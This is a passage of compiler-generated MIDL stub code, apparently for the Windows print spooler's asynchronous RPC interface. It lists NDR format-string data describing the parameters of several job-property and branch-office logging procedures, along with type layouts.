*/\n/* 4514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4516 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4522 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4524 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4526 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4528 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4530 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4532 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pProperty */\n\n/* 4534 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4536 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4538 */\tNdrFcShort( 0xda2 ),\t/* Type Offset=3490 */\n\n\t/* Return value */\n\n/* 4540 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4542 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4544 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteJobNamedProperty */\n\n/* 4546 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4552 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 4554 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4556 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4558 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4560 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4562 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4564 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4566 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4568 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4574 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4578 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4580 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4582 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4584 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4586 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 4590 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4592 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4594 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 4596 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4598 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4600 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumJobNamedProperties */\n\n/* 4602 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4604 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4608 */\tNdrFcShort( 0x49 ),\t/* 73 */\n/* 4610 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4612 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4614 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4616 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4618 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4620 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4622 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4624 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4628 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4630 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4632 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4634 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4638 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4642 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4644 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcProperties */\n\n/* 4646 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4648 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppProperties */\n\n/* 4652 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 4654 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4656 */\tNdrFcShort( 0xdb4 ),\t/* Type Offset=3508 */\n\n\t/* Return value */\n\n/* 4658 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4660 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncLogJobInfoForBranchOffice */\n\n/* 4664 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4666 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4670 */\tNdrFcShort( 0x4a ),\t/* 74 */\n/* 4672 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4674 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4678 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4680 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4682 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4684 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4686 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4690 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4694 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4696 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4700 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBranchOfficeJobDataContainer */\n\n/* 4702 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4704 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4706 */\tNdrFcShort( 0xeee ),\t/* Type Offset=3822 */\n\n\t/* Return value */\n\n/* 4708 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4710 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/*  8 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (10) */\n/* 10 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 12 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 14 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 16 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (40) */\n/* 18 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 22 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 28 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 30 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 34 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 38 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 40 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 42 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 44 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (52) */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 50 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 52 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 54 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (18) */\n/* 56 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 58 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (182) */\n/* 60 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 62 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 64 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 66 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 68 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (80) */\n/* 80 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 82 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 84 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 88 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (104) */\n/* 90 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 94 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (134) */\n/* 96 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 100 */\tNdrFcShort( 0x30 ),\t/* Offset= 48 (148) */\n/* 102 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (101) */\n/* 104 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (108) */\n/* 108 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 110 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 114 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (126) */\n/* 116 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 118 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 124 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 126 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 128 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 130 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 132 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 134 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 136 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (138) */\n/* 138 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 140 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (144) */\n/* 146 */\t0xb8,\t\t/* FC_INT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 148 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 150 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (152) */\n/* 152 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 154 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 158 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (174) */\n/* 160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 164 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 170 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 172 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 174 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 176 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 178 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 180 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 182 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 184 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 188 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (188) */\n/* 190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 192 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 194 */\tNdrFcShort( 0xff7a ),\t/* Offset= -134 (60) */\n/* 196 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 198 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 200 */\tNdrFcShort( 0x22e ),\t/* Offset= 558 (758) */\n/* 202 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 204 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 206 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 208 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 210 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 220 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (222) */\n/* 222 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 224 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 230 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (288) */\n/* 232 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 236 */\tNdrFcShort( 0x78 ),\t/* Offset= 120 (356) */\n/* 238 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 242 */\tNdrFcShort( 0x90 ),\t/* Offset= 144 (386) */\n/* 244 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 248 */\tNdrFcShort( 0x174 ),\t/* Offset= 372 (620) */\n/* 250 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 254 */\tNdrFcShort( 0x180 ),\t/* Offset= 384 (638) */\n/* 256 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 260 */\tNdrFcShort( 0x194 ),\t/* Offset= 404 (664) */\n/* 262 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 266 */\tNdrFcShort( 0x1aa ),\t/* Offset= 426 (692) */\n/* 268 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 272 */\tNdrFcShort( 0x1ae ),\t/* Offset= 430 (702) */\n/* 274 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 278 */\tNdrFcShort( 0x1bc ),\t/* Offset= 444 (722) */\n/* 280 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 284 */\tNdrFcShort( 0x1c8 ),\t/* Offset= 456 (740) */\n/* 286 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (285) */\n/* 288 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 290 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (306) */\n/* 292 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 294 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 296 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 298 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 300 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 302 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 304 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 306 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 308 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 312 */\tNdrFcShort( 0x24 ),\t/* Offset= 36 (348) */\n/* 314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 318 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 320 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe3 ),\t/* Offset= -29 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 324 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 330 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 342 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 346 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 348 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 350 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 352 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 354 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 356 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 358 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (360) */\n/* 360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 362 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 366 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (374) */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 370 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 372 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 388 */\tNdrFcShort( 0x96 ),\t/* Offset= 150 (538) */\n/* 390 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 392 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 394 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 396 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 398 */\tNdrFcShort( 0xdc ),\t/* 220 */\n/* 400 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 402 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (390) */\n/* 404 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 406 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 410 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 412 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 414 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 416 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 418 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 420 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 422 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 424 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (390) */\n/* 426 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 428 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 438 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 440 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 442 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 444 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 446 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 448 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 450 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 452 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 454 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (442) */\n/* 456 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 458 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 460 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 462 */\t0x4,\t\t/* Corr desc: FC_USMALL */\n\t\t\t0x0,\t\t/*  */\n/* 464 */\tNdrFcShort( 0xfff9 ),\t/* -7 */\n/* 466 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 468 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 480 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 482 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 484 */\tNdrFcShort( 0xffe6 ),\t/* 